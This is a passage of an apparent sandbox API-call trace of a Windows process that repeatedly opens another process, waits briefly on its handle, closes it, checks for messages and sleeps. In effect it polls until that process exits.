dwMilliseconds=0xa) returned 0x102 [0143.264] CloseHandle (hObject=0xad0) returned 1 [0143.264] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.264] Sleep (dwMilliseconds=0x1) [0143.310] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.311] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.311] CloseHandle (hObject=0xad0) returned 1 [0143.311] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.311] Sleep (dwMilliseconds=0x1) [0143.327] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.327] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.342] CloseHandle (hObject=0xad0) returned 1 [0143.342] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.342] Sleep (dwMilliseconds=0x1) [0143.358] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.358] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.373] CloseHandle (hObject=0xad0) returned 1 [0143.374] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.374] Sleep (dwMilliseconds=0x1) [0143.389] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.389] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.404] CloseHandle (hObject=0xad0) returned 1 [0143.405] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.405] Sleep (dwMilliseconds=0x1) [0143.420] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.420] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.436] CloseHandle (hObject=0xad0) returned 1 [0143.436] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.436] Sleep (dwMilliseconds=0x1) [0143.451] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.451] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.467] CloseHandle (hObject=0xad0) returned 1 [0143.467] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.467] Sleep (dwMilliseconds=0x1) [0143.483] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.483] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.498] CloseHandle (hObject=0xad0) returned 1 [0143.498] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.498] Sleep (dwMilliseconds=0x1) [0143.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.514] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.529] CloseHandle (hObject=0xad0) returned 1 [0143.529] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.529] Sleep (dwMilliseconds=0x1) [0143.545] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.545] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.560] CloseHandle (hObject=0xad0) returned 1 [0143.561] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.561] Sleep (dwMilliseconds=0x1) [0143.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.576] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.592] CloseHandle (hObject=0xad0) returned 1 [0143.592] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.592] Sleep (dwMilliseconds=0x1) [0143.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.607] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.623] CloseHandle (hObject=0xad0) returned 1 [0143.623] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.623] Sleep (dwMilliseconds=0x1) [0143.639] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.639] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.654] CloseHandle (hObject=0xad0) returned 1 [0143.654] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.654] Sleep (dwMilliseconds=0x1) [0143.672] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.672] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.685] CloseHandle (hObject=0xad0) returned 1 [0143.685] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.685] Sleep (dwMilliseconds=0x1) [0143.701] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.701] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.716] CloseHandle (hObject=0xad0) returned 1 [0143.716] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.717] Sleep (dwMilliseconds=0x1) [0143.732] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.732] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.748] CloseHandle (hObject=0xad0) returned 1 [0143.748] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.748] Sleep (dwMilliseconds=0x1) [0143.763] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.763] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.779] CloseHandle (hObject=0xad0) returned 1 [0143.780] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.780] Sleep (dwMilliseconds=0x1) [0143.795] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.795] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.810] CloseHandle (hObject=0xad0) returned 1 [0143.810] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.810] Sleep (dwMilliseconds=0x1) [0143.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.826] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.841] CloseHandle (hObject=0xad0) returned 1 [0143.841] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.841] Sleep (dwMilliseconds=0x1) [0143.857] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.857] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.872] CloseHandle (hObject=0xad0) returned 1 [0143.873] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.873] Sleep (dwMilliseconds=0x1) [0143.897] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.897] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.904] CloseHandle (hObject=0xad0) returned 1 [0143.904] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.904] Sleep (dwMilliseconds=0x1) [0143.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.920] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.935] CloseHandle (hObject=0xad0) returned 1 [0143.935] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.935] Sleep (dwMilliseconds=0x1) [0143.953] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.953] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.966] CloseHandle (hObject=0xad0) returned 1 [0143.966] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.966] Sleep (dwMilliseconds=0x1) [0143.982] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0143.982] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0143.997] CloseHandle (hObject=0xad0) returned 1 [0143.997] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0143.997] Sleep (dwMilliseconds=0x1) [0144.013] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.013] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.028] CloseHandle (hObject=0xad0) returned 1 [0144.029] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.029] Sleep (dwMilliseconds=0x1) [0144.044] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.044] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.062] CloseHandle (hObject=0xad0) returned 1 [0144.062] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.062] Sleep (dwMilliseconds=0x1) [0144.075] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.075] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.091] CloseHandle (hObject=0xad0) returned 1 [0144.091] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.091] Sleep (dwMilliseconds=0x1) [0144.107] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.107] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.122] CloseHandle (hObject=0xad0) returned 1 [0144.122] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.122] Sleep (dwMilliseconds=0x1) [0144.138] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.138] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.153] CloseHandle (hObject=0xad0) returned 1 [0144.153] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.153] Sleep (dwMilliseconds=0x1) [0144.177] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.178] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.187] CloseHandle (hObject=0xad0) returned 1 [0144.187] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.187] Sleep (dwMilliseconds=0x1) [0144.200] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0144.200] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0144.216] CloseHandle (hObject=0xad4) returned 1 [0144.216] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.216] Sleep (dwMilliseconds=0x1) [0144.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0144.231] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0144.623] CloseHandle (hObject=0xad4) returned 1 [0144.623] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.623] Sleep (dwMilliseconds=0x1) [0144.649] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.649] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.652] CloseHandle (hObject=0xad0) returned 1 [0144.652] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.652] Sleep (dwMilliseconds=0x1) [0144.668] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.668] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.684] CloseHandle (hObject=0xad0) returned 1 [0144.684] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.684] Sleep (dwMilliseconds=0x1) [0144.699] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.699] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.722] CloseHandle (hObject=0xad0) returned 1 [0144.722] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.737] Sleep (dwMilliseconds=0x1) [0144.752] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.753] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.762] CloseHandle (hObject=0xad0) returned 1 [0144.762] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.762] Sleep (dwMilliseconds=0x1) [0144.778] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.779] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.793] CloseHandle (hObject=0xad0) returned 1 [0144.793] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.793] Sleep (dwMilliseconds=0x1) [0144.808] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.809] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.824] CloseHandle (hObject=0xad0) returned 1 [0144.824] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.824] Sleep (dwMilliseconds=0x1) [0144.840] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.840] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.855] CloseHandle (hObject=0xad0) returned 1 [0144.855] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.855] Sleep (dwMilliseconds=0x1) [0144.871] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.871] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.887] CloseHandle (hObject=0xad0) returned 1 [0144.896] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.896] Sleep (dwMilliseconds=0x1) [0144.915] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.915] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.920] CloseHandle (hObject=0xad0) returned 1 [0144.920] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.920] Sleep (dwMilliseconds=0x1) [0144.935] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.935] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.951] CloseHandle (hObject=0xad0) returned 1 [0144.951] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.951] Sleep (dwMilliseconds=0x1) [0144.966] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.966] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0144.982] CloseHandle (hObject=0xad0) returned 1 [0144.982] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0144.982] Sleep (dwMilliseconds=0x1) [0144.996] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0144.996] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0145.011] CloseHandle (hObject=0xad0) returned 1 [0145.011] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.011] Sleep (dwMilliseconds=0x1) [0145.027] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0145.027] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0145.042] CloseHandle (hObject=0xad0) returned 1 [0145.042] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.042] Sleep (dwMilliseconds=0x1) [0145.058] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0145.058] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0145.074] CloseHandle (hObject=0xad0) returned 1 [0145.074] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.074] Sleep (dwMilliseconds=0x1) [0145.089] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0145.089] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0145.105] CloseHandle (hObject=0xad0) returned 1 [0145.105] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.105] Sleep (dwMilliseconds=0x1) [0145.121] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0145.121] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0145.136] CloseHandle (hObject=0xad0) returned 1 [0145.136] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.136] Sleep (dwMilliseconds=0x1) [0145.152] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0145.152] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0145.169] CloseHandle (hObject=0xad0) returned 1 [0145.169] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.169] Sleep (dwMilliseconds=0x1) [0145.183] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0145.183] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0145.199] CloseHandle (hObject=0xad0) returned 1 [0145.199] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.199] Sleep (dwMilliseconds=0x1) [0145.214] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0145.214] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0145.230] CloseHandle (hObject=0xad0) returned 1 [0145.230] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.230] Sleep (dwMilliseconds=0x1) [0145.245] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0145.245] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0145.261] CloseHandle (hObject=0xad0) returned 1 [0145.261] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.261] Sleep (dwMilliseconds=0x1) [0145.276] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0145.277] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0145.292] CloseHandle (hObject=0xad0) returned 1 [0145.292] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.292] Sleep (dwMilliseconds=0x1) [0145.308] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0145.308] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0145.329] CloseHandle (hObject=0xad0) returned 1 [0145.329] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.329] Sleep (dwMilliseconds=0x1) [0145.339] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0145.339] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0145.354] CloseHandle (hObject=0xad0) returned 1 [0145.354] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.355] Sleep (dwMilliseconds=0x1) [0145.370] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.370] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.386] CloseHandle (hObject=0xad4) returned 1 [0145.386] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.386] Sleep (dwMilliseconds=0x1) [0145.401] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.401] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.419] CloseHandle (hObject=0xad4) returned 1 [0145.419] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.419] Sleep (dwMilliseconds=0x1) [0145.432] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.433] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.448] CloseHandle (hObject=0xad4) returned 1 [0145.448] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0145.448] Sleep (dwMilliseconds=0x1) [0145.464] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0145.464] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0145.479] CloseHandle (hObject=0xad4) returned 1 [0145.479] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 